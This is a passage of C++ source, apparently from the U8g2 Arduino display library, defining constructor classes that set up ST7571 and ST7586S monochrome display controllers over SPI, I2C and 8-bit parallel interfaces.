clock, data, cs, dc, reset); } }; class U8G2_ST7571_128X128_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7571_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7571_128X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7571_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7571_128X128_F_6800 : public U8G2 { public: U8G2_ST7571_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7571_128X128_F_8080 : public U8G2 { public: U8G2_ST7571_128X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7571_128X128_1_SW_I2C : public U8G2 { public: U8G2_ST7571_128X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7571_128X128_1_HW_I2C : public U8G2 { public: U8G2_ST7571_128X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7571_128X128_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST7571_128X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7571_128X128_2_SW_I2C : public U8G2 { public: U8G2_ST7571_128X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7571_128X128_2_HW_I2C : public U8G2 { public: U8G2_ST7571_128X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7571_128X128_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST7571_128X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7571_128X128_F_SW_I2C : public U8G2 { public: U8G2_ST7571_128X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7571_128X128_F_HW_I2C : public U8G2 { public: U8G2_ST7571_128X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7571_128X128_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST7571_128X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7571_128X96_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7571_128X96_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x96_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7571_128X96_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7571_128X96_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7571_128X96_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7571_128X96_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7571_128X96_1_6800 : public U8G2 { public: U8G2_ST7571_128X96_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x96_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7571_128X96_1_8080 : public U8G2 { public: U8G2_ST7571_128X96_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x96_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7571_128X96_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7571_128X96_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x96_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7571_128X96_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7571_128X96_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7571_128X96_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7571_128X96_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7571_128X96_2_6800 : public U8G2 { public: U8G2_ST7571_128X96_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x96_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7571_128X96_2_8080 : public U8G2 { public: U8G2_ST7571_128X96_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x96_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7571_128X96_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7571_128X96_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x96_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7571_128X96_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7571_128X96_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7571_128X96_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7571_128X96_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7571_128X96_F_6800 : public U8G2 { public: U8G2_ST7571_128X96_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x96_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7571_128X96_F_8080 : public U8G2 { public: U8G2_ST7571_128X96_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_128x96_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7571_128X96_1_SW_I2C : public U8G2 { public: U8G2_ST7571_128X96_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x96_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7571_128X96_1_HW_I2C : public U8G2 { public: U8G2_ST7571_128X96_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7571_128X96_1_2ND_HW_I2C : public U8G2 { public: U8G2_ST7571_128X96_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7571_128X96_2_SW_I2C : public U8G2 { public: U8G2_ST7571_128X96_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x96_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7571_128X96_2_HW_I2C : public U8G2 { public: U8G2_ST7571_128X96_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7571_128X96_2_2ND_HW_I2C : public U8G2 { public: U8G2_ST7571_128X96_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7571_128X96_F_SW_I2C : public U8G2 { public: U8G2_ST7571_128X96_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x96_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_ST7571_128X96_F_HW_I2C : public U8G2 { public: U8G2_ST7571_128X96_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_ST7571_128X96_F_2ND_HW_I2C : public U8G2 { public: U8G2_ST7571_128X96_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7571_i2c_128x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7586S_S028HN118A_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7586S_S028HN118A_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_s028hn118a_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7586S_S028HN118A_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_S028HN118A_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_s028hn118a_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_S028HN118A_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_S028HN118A_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_s028hn118a_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_S028HN118A_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7586S_S028HN118A_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_s028hn118a_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7586S_S028HN118A_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_S028HN118A_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_s028hn118a_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_S028HN118A_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_S028HN118A_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_s028hn118a_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_S028HN118A_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7586S_S028HN118A_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_s028hn118a_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7586S_S028HN118A_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_S028HN118A_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_s028hn118a_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_S028HN118A_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_S028HN118A_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_s028hn118a_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_JLX384160_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7586S_JLX384160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_jlx384160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7586S_JLX384160_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_JLX384160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_jlx384160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_JLX384160_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_JLX384160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_jlx384160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_JLX384160_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7586S_JLX384160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_jlx384160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7586S_JLX384160_2_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_JLX384160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_jlx384160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_JLX384160_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_JLX384160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_jlx384160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_JLX384160_F_4W_SW_SPI : public U8G2 { public: U8G2_ST7586S_JLX384160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_jlx384160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7586S_JLX384160_F_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_JLX384160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_jlx384160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_JLX384160_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_JLX384160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_jlx384160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_ERC240160_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7586S_ERC240160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7586S_ERC240160_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_ERC240160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_ERC240160_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7586S_ERC240160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7586S_ERC240160_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7586S_ERC240160_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7586S_ERC240160_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7586S_ERC240160_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7586s_erc240160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7586S_ERC240160_1_6800 : public U8G2 { public: U8G2_ST7586S_ERC240160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, 